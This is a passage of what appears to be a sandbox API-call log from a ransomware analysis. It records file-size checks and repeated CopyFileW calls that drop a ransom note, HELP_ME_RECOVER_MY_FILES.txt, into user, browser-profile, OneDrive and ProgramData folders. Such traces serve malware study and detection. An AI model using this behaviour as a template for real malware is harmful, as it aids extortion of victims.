lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xc9f6 [0225.513] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xac08 [0225.586] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x28e6 [0225.697] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x36d83 [0225.712] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm", lpszLongPath=0x1edb30, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm") returned 0x27 [0225.713] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm", lpszLongPath=0x1edb00, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm") returned 0x27 [0225.714] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm", lpszLongPath=0x1edb00, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm") returned 0x27 [0225.715] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm", lpszLongPath=0x1eda10, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm") returned 0x27 [0225.715] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm", lpszLongPath=0x1eda10, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\Desktop\\~$FAK321.xlsm") returned 0x27 [0225.719] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbba [0225.785] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8a42 [0225.963] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x14ead [0226.058] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x94b4 [0226.136] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x17492 [0226.224] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x185bb [0226.266] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1a84 [0226.321] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xba81 [0226.342] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x15e3e [0226.392] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3996 [0226.546] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1667a [0226.598] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xdba3 [0226.692] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xafbf [0226.797] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x16eb1 [0226.918] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5187 [0227.014] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x105b3 [0227.243] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x16fd4 [0227.310] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1390e [0227.375] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x146ee [0227.466] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x141b0 [0227.521] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x4daf [0227.571] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x448d [0227.621] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xab5a [0227.645] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x7b9b [0227.681] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x4596 [0227.728] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1153d [0227.815] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xf7e4 [0227.881] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x9591 [0227.910] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x16060 [0227.959] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb335 [0227.981] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb4ef [0228.006] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x65f3 [0228.044] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x17b5c [0228.088] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1846a [0228.127] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x4a7e [0228.172] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xa668 [0228.249] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x13ca1 [0228.319] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3d70 [0228.374] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1134e [0228.512] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x141a3 [0228.570] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x11f25 [0228.630] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x681c [0228.671] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x11650 [0228.734] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x9273 [0228.766] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1219d [0228.836] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x147ca [0228.892] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xddc5 [0228.968] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x164fb [0229.014] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x14aa1 [0229.065] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8064f1 [0230.102] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3ec5d2 [0230.884] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x49e459 [0232.956] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xaf0e [0233.032] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8fd0 [0233.114] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2938 [0233.283] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x15e35 [0233.417] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x157ce [0233.535] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x14825 [0233.666] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xa603 [0233.697] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xf1b0 [0233.869] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x91ae [0233.955] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xa9ae [0234.028] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x4213 [0234.107] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x18016 [0234.148] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb411 [0234.171] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x13e2 [0234.268] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb628 [0234.312] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x12785 [0234.380] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x965f [0234.442] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xe27c [0234.559] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3b55 [0234.633] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1834 [0234.726] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xcd36 [0234.862] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xc42a [0235.014] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x53c9 [0235.077] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xae92 [0235.115] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1cee [0235.304] GetFileSize (in: hFile=0x314, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x17991 [0235.383] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3cfe [0235.482] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x7630 [0235.586] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x18ed4 [0235.670] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x6d9f [0235.758] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x7a99 [0235.853] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0235.853] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0235.854] CoTaskMemFree (pv=0x1a6017e0) [0235.912] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0235.912] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0235.912] CoTaskMemFree (pv=0x1a6017e0) [0235.913] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0235.918] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0235.918] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0235.919] CoTaskMemFree (pv=0x1a6017e0) [0235.919] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0235.959] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0235.960] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0235.960] CoTaskMemFree (pv=0x1a6017e0) [0235.960] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0235.963] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0235.963] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0235.963] CoTaskMemFree (pv=0x1a6017e0) [0235.963] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 0 [0236.206] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.206] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.206] CoTaskMemFree (pv=0x1a6017e0) [0236.207] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.209] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.209] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.209] CoTaskMemFree (pv=0x1a6017e0) [0236.210] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Pictures\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\pictures\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.219] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.219] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.219] CoTaskMemFree (pv=0x1a6017e0) [0236.219] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Pictures\\owuAyhfH\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\pictures\\owuayhfh\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.256] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.256] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.257] CoTaskMemFree (pv=0x1a6017e0) [0236.258] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Pictures\\owuAyhfH\\vypO\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\pictures\\owuayhfh\\vypo\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.260] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.260] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.260] CoTaskMemFree (pv=0x1a6017e0) [0236.261] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 0 [0236.262] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.262] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.263] CoTaskMemFree (pv=0x1a6017e0) [0236.263] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.266] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.266] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.266] CoTaskMemFree (pv=0x1a6017e0) [0236.266] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 0 [0236.268] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.268] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.268] CoTaskMemFree (pv=0x1a6017e0) [0236.269] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 0 [0236.270] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0236.270] CloseHandle (hObject=0x4c4) returned 1 [0236.272] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.272] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.272] CoTaskMemFree (pv=0x1a6017e0) [0236.273] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.275] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.275] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.275] CoTaskMemFree (pv=0x1a6017e0) [0236.276] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.318] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.318] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.319] CoTaskMemFree (pv=0x1a6017e0) [0236.320] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\thumbnails\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\thumbnails\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.322] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.322] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.322] CoTaskMemFree (pv=0x1a6017e0) [0236.323] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Desktop\\DG2Yxk0zg72dqS\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\dg2yxk0zg72dqs\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.326] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.326] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") 